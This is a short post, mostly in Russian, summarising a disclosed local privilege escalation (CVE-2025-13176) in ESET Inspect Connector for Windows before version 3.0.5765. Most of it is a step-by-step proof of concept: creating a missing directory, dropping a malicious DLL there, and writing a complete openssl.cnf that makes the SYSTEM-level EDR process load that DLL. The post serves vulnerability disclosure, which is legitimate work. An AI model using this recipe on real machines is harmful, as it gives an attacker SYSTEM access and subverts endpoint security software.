CVE-2025-13176: Local Privilege Escalation in ESET Inspect EDR

[ADMIN]

CVE-2025-13176: Local Privilege Escalation in ESET Inspect EDR

CVE-2025-13176: Local Privilege Escalation in ESET Inspect EDR - InfoGuard Labs

Local Privilege Escalation (LPE) in ESET Inspect Connector for Windows via OpenSSL configuration (openssl.cnf).

labs.infoguard.ch

Уязвимость LPE в ESET Inspect Connector для Windows (версии до 3.0.5765) из-за того, что процесс ElConnector.exe (запущенный как SYSTEM) пытается загрузить файл конфигурации OpenSSL из несуществующего пути, который может быть создан пользователем с низким уровнем привилегий.

PoC:

1) Создайте каталог: C:\src\vcpkg\packages\openssl_x64-windows-static\
2) Поместите вредоносную DLL (например, woot.dll) в этот каталог.
3) Создайте файл openssl.cnf в этом каталоге со следующим содержанием:

# Malicious openssl.cnf
openssl_conf = openssl_init

[openssl_init]
engines = engine_section

[engine_section]
cmd = cmd_section

[cmd_section]
engine_id = cmd
dynamic_path = C:\\src\\vcpkg\\packages\\openssl_x64-windows-static\\woot.dll
init = 0

4) Дождитесь перезапуска службы ESET Inspect Connector или запуска инициализации OpenSSL.
5) Файл woot.dll загружается в процесс EDR и выполняется как SYSTEM. В этом процессе не требуется подпись для DLL-файлов.